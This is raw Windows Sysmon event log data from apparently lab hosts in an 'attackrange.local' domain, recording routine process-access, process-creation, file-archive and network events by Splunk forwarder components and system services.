14:52:36.419{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015358Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:36.419{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015357Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:36.419{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015356Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:36.419{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015355Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:36.419{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015354Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:36.419{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015353Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:36.419{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-7134-613B-D204-00000000F101}1852C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015352Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:36.419{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7134-613B-D204-00000000F101}1852C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015351Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:36.422{625C326B-7134-613B-D204-00000000F101}1852C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015350Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:36.419{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=92E3C2BBF9D8E69978F02D9632AD7D0A,SHA256=A05D2128AC504E7DF558026A9CBCF4723CBC0FDBF4BEE9FF8AEE6DAF048A31D9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015349Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:36.419{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=30F023120FBA9B3F8553BD3FC87BE9C2,SHA256=644583ED488E604183ED032D1FF395DA33C954E87D410BEF586914A581222EB1,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015348Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:36.169{625C326B-7133-613B-D104-00000000F101}29003316C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000047669Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:35.997{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=244F2982A0EA6C5B25704E5A4B3EBC46,SHA256=F361E4F92E289E3E34D200D457938208A74E9E8C7F22A5852B68E63EB826CABA,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015366Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:36.587{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50217-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015365Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:37.435{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=E2C17C0F65C728A1CA921D8061017505,SHA256=6087007469BD3F892AB77E0C89E1EDBEFD3801B3CEF81DD92EF4BF9E9358352E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015364Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:37.232{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D04ED42517187CDA85BACA96847E18C4,SHA256=A286DA607AF9500834E3079839E0B39D73FEFC301BA93FF4D5542279F5B064FE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047670Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:37.013{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CCF55A3B0F1DDC35E291C8B498BF9910,SHA256=4F9D7496784D4EE82D887C0C284C88EE76DEDE6991A4C080BB0DF3BD62582156,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047672Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:35.402{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59409-false10.0.1.12-8000- 23542300x800000000000000047671Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:38.044{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A336C8732045F3AB695516DAD4BDFEFD,SHA256=A99D88B6EAE8A34CBEFCBFC103D13666D82FE6A2F54F2ED1D6B4529C825A60B9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015367Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:38.232{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9C660A08B5907604272E3C4E88A5D01E,SHA256=DA3ABACEFCE938F239A0BD45EBC6803A05E199CCA6FF20A370F784A6BC6C1EBA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047673Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:39.122{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D56CE10EF6F4E892FC0127482E5F687B,SHA256=708ED25F9E699FCF77D4025A5F60843530EFCABD84B8C35A6716A4950A002FD9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015368Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:39.247{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8C1778FC3E27FE703CF14CF14262009B,SHA256=52178C0C864437C93D2A30FB921A3FA6CF8C92CA169D4BD37B418E7784112020,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047674Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:40.138{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=36EFFA0329E3816274DA162EC7F2565C,SHA256=ECFE88B66ECB01D0FC324E18C3A53FDEE8826F75EE3C442C890E6223DF1AC290,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015369Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:40.310{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9E7E6FC44C5CDA9AC805D8E89CF8F788,SHA256=2D6E8139C609A7AA6894B7A959565BB755618DF83B24964FE35AA0C1B1461978,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015370Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:41.341{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0EFAFA72B74D795B452C6BC05E2EBA0D,SHA256=FA9A26B4DAABFCB057727B13A49084EDD8ED55A2BA3D1705F7D0A394AC5D0556,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047675Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:41.153{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=743D3CAFABBCF3BF3FD7A7386977DE52,SHA256=780A9BBBAFF40A1D51F7C53E92045A2861A7D4EC600543BD609702968C9C809A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015371Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:42.341{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=78771D50D6D8FC4D977900AB80460590,SHA256=9605D2CF832306530A944BB6BAB842BFCE74B62F57F092D7F23D734112976C47,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047676Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:42.247{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=87DE26A13EB2138FF6F3F3BDF058962D,SHA256=5EA25C0938A434C5283013BDFEFC430A5E8887F298A885E2B5A8D26E24A8304A,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047678Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:40.433{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59410-false10.0.1.12-8000- 23542300x800000000000000047677Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:43.263{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1E99FAADB144D2C345DE7426C09B12AA,SHA256=A4E5F678AD7D63DAB099C5A58073FD65309A9A01B606EAD095AD6A517D080729,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015373Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:42.572{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50218-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015372Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:43.372{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9B47EB3A892D6F1418C2047DD2D78E50,SHA256=34D12B998BBC24495C7EC717FA2B1C608A8CD28FFDDC7A84ED536318A7BA8C07,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047679Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:44.278{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=038D7ECCB438BAE9922E924B1130493F,SHA256=15E1AB9889127D9FF0848D306705B56DE0C81D2E407ACFF112A4C0875AD923E3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015374Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:44.388{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7AF3130F34FCB39C6E5E5E7F1574CC32,SHA256=92F7F55EAD6094CB90E95A58D7838B47E0C57F29E413F6BB128A76F3B050DB99,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015375Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:45.403{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=593731424720A04C3336D6A28DA5A816,SHA256=6405DE8170EE9CCE1DEF7CD4C1FE680D1413AF0E07DD2248A8649F9E6518EF7A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047680Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:45.294{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=61E6BB9150932620F95829A97015DAA1,SHA256=FC9ABD796F363B9BB97D53A17415A36DA02417FE85246FC83AA8578AAC9D60E6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015376Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:46.403{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=914AD1F9988236D1C6788DBFF79873D8,SHA256=9349C56181FAA5AD715678C6A0631CE3A590D370231F5567DD5D1299F48D036F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047681Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:46.310{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=293C3143A3C35490742EF96B164B8D8C,SHA256=5BC876D323293102AB65C3A81EFA83DA9DD05D764F31C169AA18A8903F05CE32,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047682Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:47.325{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A6443F76770F7E4B0BD4ADBFA751389D,SHA256=35A5AE173152DB2963665A556C5E0D91A21035BCE4DD1CD2C9CBF21BD2DE45AF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015377Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:47.419{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1220D208646BBC73AC661AB801F4B0FA,SHA256=7D3AC05B14F39306C42783F78E38509309929DAD3149BA095FA530073E68AC63,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047683Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:48.341{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F8A8F7603B80908BE713641BA20CB766,SHA256=95A24DF91EA6AD66E63704AF7C055EC869FC39E12275C490517B96B14F6C3469,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015378Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:48.419{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FD3283B7C1C3F3949CE049A7A752072B,SHA256=A3BEA6FC36094BCE39ACDF61F9D7D19DFDA31668024837E7FDDFD3E3E7BA6BC7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047684Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:49.544{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=20A4C0AEB1962E5E6C7EFE285E9B77A2,SHA256=C74975D25F66F65E2C183053EBF3B5A66C4E16AB5227A5B78BF19431483F2504,IMPHASH=00000000000000000000000000000000falsetrue 